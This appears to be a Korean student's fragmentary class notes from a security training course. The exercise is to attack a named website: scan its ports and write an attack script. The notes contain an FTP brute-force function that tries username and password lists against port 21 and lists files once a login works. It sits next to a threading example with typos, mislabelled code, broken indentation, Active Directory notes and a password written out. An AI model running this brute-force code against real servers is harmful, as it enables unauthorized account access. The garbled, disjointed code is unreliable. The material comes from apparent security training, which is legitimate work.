30일차

미션
http://virtual.izerone.co.kr을 공격하시오
1. 스캔 
80.22.8080




conn
2.Attack.py로 공격 코드 작성후 공격 성공 여부 확인
ssh = SSH()
telnet


쓰레드를 활용하기
python Attack.py [][][][][][]
파이썬에서 **쓰레드**는
프로그램 내에서 병렬로 실행되는

# 쓰레드에서 실행할 함수 정의
def print_numbers():
    for i in range(1, 6):
        print(f"숫자: {i}")
        time.sleep(1)

def print_letters():
    for letter in ['A', 'B', 'C', 'D', 'E']:
        print(f"문자: {letter}")
        time.sleep(1)

쓰레드 생성
thread1 = threading.Thread(tatget = print_numbers) 
thread2 = threading.Thread(tatget = print_numbers)
thread3 = threading.Thread(tatget = print_numbers)
thread4 = threading.Thread(tatget = print_numbers)
thread5 = threading.Thread(tatget = print_numbers)
thread6 = threading.Thread(tatget = print_numbers)
thread7 = threading.Thread(tatget = print_numbers)
thread8 = threading.Thread(tatget = print_numbers)

쓰레드 시작
thread1.start()
thread2.start()
thread3.start()
thread4.start()
thread5.start()
thread6.start()
thread7.start()
thread8.start()


3.http://virtual.izerone.co.kr의 보안조치는 적절한가?
> 적절하지 않다면 어떠한 조치가 필요한가?

포트 스캔 코드
  def ftp(self):
    print("attack ftp")
    try:

        # 파일 열기

        with open("account.txt", 'r') as fid, open("passwd1.txt", 'r') as fpw:
            user_list = fid.readlines()
            pass_list = fpw.readlines()

        print("Start brute-force FTP attack")

        # FTP 연결 시도
        for user in user_list:
            for pw in pass_list:
                user = user.strip()  # 줄 끝의 공백 제거
                pw = pw.strip()  # 줄 끝의 공백 제거
                try:
                    ftp = FTP()
                    ftp.connect(self.target, 21, timeout=5)  # 21번 포트에 연결
                    print(f"연결 시도: {user}/{pw}")
                    ftp.login(user, pw)  # 로그인 시도
                    print(f"[성공] FTP 계정은 {user}/{pw}")

                    # 로그인 성공 후 작업 수행

                    print(ftp.retrlines('LIST'))  # 현재 디렉토리의 파일 목록 가져오기
                    ftp.quit()  # 연결 종료
                    return  # 성공하면 함수 종료

                except Exception as e:
                    #print(f"[FAIL] Login failed for {user}/{pw}: {e}")
                    continue  # 실패하면 다음 조합으로 이동
         except Exception as e:
     print(f"An error occurred: {e}")


윈도우 2025설치

인증시스템 구축
도메인과 AD의 관계
도메인 설치시 AD는 설치 되지 않음
AD설치시 반드시 도메인 설치됨
윈도우 사용자는 Active Directory 에게 물어봐라
p@ssw0rd!123
p@ssw0rd!123

	

2025 산대특